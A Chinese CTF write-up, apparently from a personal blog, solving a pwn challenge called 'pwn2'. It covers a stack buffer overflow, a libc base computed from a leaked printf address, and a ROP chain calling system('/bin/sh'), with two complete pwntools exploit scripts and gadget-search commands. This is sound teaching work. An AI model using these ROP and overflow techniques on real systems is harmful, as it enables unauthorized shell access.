Skip to content

nameless pwn2

本题附件我有,如果想做的话,可以邮箱联系

先看pwn的架构

pwn2

没栈保护,但是栈不可执行,地址没有随机化,可以猜测,这里可能考察栈迁移,题目还下发了libc库文件,具体还需要看看内部漏洞

定位main函数

main

这里说是给我们一个礼物,然后打印printf函数的地址,调用sub_401196()函数,我有个猜测,这里大概率考察如何调用libc上的后门函数,理由便是,这里的printf并没有被打包在pwn2中,追踪后会发现,它其实在外部定义,再结合题目下发了libc.so.6,我的猜测完全可以被证实

extrn_printf

这是libc.so.6里的函数表

printf

我再顺手过滤了下关键字sh,看到挺干净的一个后门指令

/bin/sh

然后再结合它的架构信息存在栈保护以及地址随机化,我们就能明白,为啥说printf的地址就是gift:我们只有获取到printf的地址,才能通过偏移计算,调用到我们想要的后门指令/bin/sh

aslr

继续分析pwn2

就从main那里追踪sub_401196,不是很建议直接看源代码,我感觉效果不好,有点点乱,我们直接看汇编

sub_401196

注意,这里先给buf分配了0x100h的大小,然后用一系列mov指令,将分配的0x100h缓冲区上的值更新为0,避免原先栈上的垃圾数据污染栈

结合反汇编一起看,这里调用的read函数要一次性读0x100h,和缓冲区地址严丝合缝,貌似在这里无法实现栈溢出操作

100h

向下追踪sub_401156

sub_401156

在这里,我们遇到了漏洞点,首先它为buf申请了16字节的缓冲区,但是!它读取的内容却是32字节,超出了16字节,貌似可以完美溢出?

vuln

漏洞点已经找到了,我稍微画个简易栈布局

栈布局

不多不少,我们这里只能覆盖到返回地址,我计划这个返回地址就写前面那个0x100缓冲区的地址

接下来就是打ROP了,理论上,我们需要在libc库里找这四样指令(函数)或字符串的地址:

  • printf : 找到libc里的函数地址,再和pwn2文件运行输出的地址比较,就能计算出libc的基址,间接获取到所有有用的指令地址
  • system:也是一个函数
  • pop rdi ; ret:这个指令的作用是将某个值存储到rdi参数寄存器中
  • /bin/sh :这就是一个字符串,如果被system调用,就能直接执行系统命令

执行的命令如下:

strings -a -t x libc.so.6 | grep "/bin/sh"
ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"
readelf -s libc.so.6 | grep printf
readelf -s libc.so.6 | grep system

我整理出来的偏移数据如下:

binsh_offset = 0x1d8678
system_offset = 0x50d70
printf_offset = 0x606f0
pop_rdi_offset = 0x2a3e5

ROP链应该是pop_rdi_addr+binsh_addr+system_addr(addr应该是PIE+offset)

完整payload得分三步走

  1. 获取printf地址,并减去printf_offset,得到libc_PIE
  2. 写入完整的ROP链(不能超过0x100字节)
  3. 在漏洞点溢出部分写入ROP链的地址

貌似还缺少一个细节不清楚,就是存ROP链的栈空间地址是多少?这倒是不难处理,在0x401196打个断点,看看rsp寄存器存的地址就行

rsp

看我下面选中的白色部分,得到了RSP=0x7fffffffe120,这是固定的,拿来用就行

那么我的exp如下:

from pwn import *

p=process("./pwn2")
p.recvuntil(b"Here's your gift: ")
print_leak=int(p.recvline().strip(), 16)
print(hex(print_leak))

binsh_offset = 0x1d8678
system_offset = 0x50d70
printf_offset = 0x606f0
pop_rdi_offset = 0x2a3e5

libc_pie = print_leak - printf_offset
binsh = libc_pie + binsh_offset
system = libc_pie + system_offset
pop_rdi = libc_pie + pop_rdi_offset
rop_addr = 0x7fffffffe120

ROP_Chain=p64(pop_rdi)+p64(binsh)+p64(system)

p.recvline(b"What's you want to tell me?")
p.sendline(ROP_Chain)

p.recvline(b"Who you are?")
p.sendline(b'a'*24+p64(rop_addr))
p.interactive()

上面脚本运行失败是正常的,因为我将ROP的地址给硬编码了,事实上,这里的栈地址每次都会随机,绝对不能进行硬编码,需要通过某些手段获取正确的地址

401196

上图框中的部分是sub_401196rsp寄存器的值:0x7fffffffe080,下面为了描述方便,我将sub_401196叫做主函数,sub_401156成为子函数

子函数

我们再对比下子函数的rbp寄存器:0x7fffffffe070上下两个寄存器之间就差16个字节,这在二进制里,几乎可以说是相邻的,好吧,就是相邻的,我说过的,子函数这里一共能写32字节,就是0x20,看RSP,我一旦写了0x20,就会直接来到主函数的rsp寄存器边界0x7fffffffe080,,因此这两个栈帧完全相邻

知道这些怎么利用呢?我前面的exp卡住的点就是,无法锁定主函数的RSP地址,既然这里相邻,我让子函数的返回地址移动到主函数的rsp寄存器边界不就可以了嘛?

这里有点点概念需要了解下:

leave

leave指令可以拆分成这两条小指令:

mov rsp, rbp
pop rbp

在子函数中,rsp寄存器的值应该是0x7fffffffe070,这并不难理解吧,因为我们让它从0x7fffffffe060+0x10向下增长到了0x7fffffffe070

至于rbp,我们就把它当作吉祥物吧,差不多就是做个参照物的用途,然后我们需要关注pop指令,它有个特点,每运行一次,rsp的值都要+8,这是规定,记住即可

那么这个leave指令会让rsp寄存器从0x7fffffffe070变成0x7fffffffe078

ret指令可以写成pop rip,同样出现了一次pop,因此rsp寄存器的值就从0x7fffffffe078来到了0x7fffffffe080,这里的rip寄存器需要注意,它就是所谓的记录当前指令地址的寄存器,这里其实隐藏的进行了一次操作rip=[rsp]然后才是rsp=rsp+8,这个时候呢,rip应该已经跳转到0x7fffffffe078地址指向的返回地址,然后我们再进行一次ret,将当前的rsp=0x7fffffffe080存到rip里,给rsp+8,就变成了0x7fffffffe088

到这里就够了,因为我有说过,rip指向的是当前指令的地址,而0x7fffffffe080恰好就是我计划存储rop链的地方,然后就是将军!

获取干净的ret,需要使用这个命令ROPgadget --binary pwn2 --only "ret"

gadget

我们可以去ida进行确认

retn

将我们原本exp里的rot_addr改成ret_addr即可

win

爽!

这是完整exp

from pwn import *

p=process("./pwn2")
p.recvuntil(b"Here's your gift: ")
print_leak=int(p.recvline().strip(), 16)
print(hex(print_leak))

binsh_offset = 0x1d8678
system_offset = 0x50d70
printf_offset = 0x606f0
pop_rdi_offset = 0x2a3e5

libc_pie = print_leak - printf_offset
binsh = libc_pie + binsh_offset
system = libc_pie + system_offset
pop_rdi = libc_pie + pop_rdi_offset
ret_addr = 0x40101a

ROP_Chain=p64(pop_rdi)+p64(binsh)+p64(system)

p.recvline(b"What's you want to tell me?")
p.sendline(ROP_Chain)

p.recvline(b"Who you are?")
p.sendline(b'a'*24+p64(ret_addr))
p.interactive()

本题只能在Ubuntu-22.04这样的环境运行,确切来说是需要glibc版本为2.35,否则会直接崩溃,无法调试运行

比赛时具体的检测措施可以是:

strings ./pwn2 | grep -i "glibc\|ubuntu\|release"
strings ./libc.so.6 | grep -i "glibc\|ubuntu\|release"

这两条命令中,前者可以帮助我们查看二进制具体是在什么系统编译的,一般用这个就够了,如果不方便调试这样的系统,那就换用第二条命令

first

注意看,第一个命令的返回结果中,可以看得出来二进制是在ubuntu-22.04里编译的

然后看第二条命令输出的时候,就挑最大的那个版本号

glibc

然后就是看自己的库存多不多了,把不同的glibc版本整理出来,调试的时候用上就好